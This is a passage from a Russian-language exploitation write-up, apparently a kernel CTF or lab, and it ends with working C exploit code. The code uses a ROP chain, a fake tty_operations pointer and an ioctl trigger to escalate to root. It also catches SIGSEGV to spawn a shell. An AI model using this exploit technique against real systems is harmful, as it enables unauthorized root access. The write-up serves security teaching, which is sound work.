          user_sp,
          user_ss
        };
        /* Копируем ROPchain по адресу, которым мы заменим RSP */
        memcpy(lower_address, rop_chain, sizeof(rop_chain));
        data[131]=&fake_tty_operations; // Помещаем указатель на fake_tty_operations в массиве data
        puts("[+] Writing function pointer to the driver");
        /* Заменяем указатель *tty_operations */
        user_to_kernel(fd, index, 0x420, data);
        del(fd,index);
        del(fd,index+1);
        puts("[+] Triggering");
        isTRY=false;
        /* Вызываем ioctl и запускаем цепочку эксплоита */
        ioctl(tty_fd, 0, 0);
      }
      puts("[*] ptm_unix98_ops not found, one more time...\n");
    }
  }
  return 0;
}

Од­нако пос­ле воз­вра­щения в user space наш экс­пло­ит «пада­ет» с ошиб­кой Segmentation fault, и если для обыч­ного при­ложе­ния это беда, то в слу­чае с экс­пло­итом мы можем даже не раз­бирать­ся с проб­лемой, а исполь­зовать это как пре­иму­щес­тво! Ведь, пой­мав этот сиг­нал, мы можем повесить на него запуск шел­ла и сде­лать экс­пло­ит еще более уни­вер­саль­ным.

До­бав­ляем в исходник заголо­воч­ный файл signal.h и перех­ватыва­ем сиг­нал SIGSEGV с помощью фун­кции signal(SIGSEGV, shell);:

#include 
...
int main () {
  bool isPTM = true;
  save_state();
  signal(SIGSEGV, shell); // Добавляем перехват сигнала SIGSEGV
  ...

Те­перь все готово, что­бы добыть завет­ный флаг рута, путь к которо­му мы прок­ладыва­ли с таким тру­дом!

Получаем root!
По­луча­ем root!

Бу­ду рад, если ты почер­пнул новые зна­ния и у тебя про­будил­ся инте­рес иссле­довать их еще глуб­же. Несом­ненно, они тебе еще не раз при­годят­ся!

Еще по теме: Лучшие сканеры уязвимостей

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *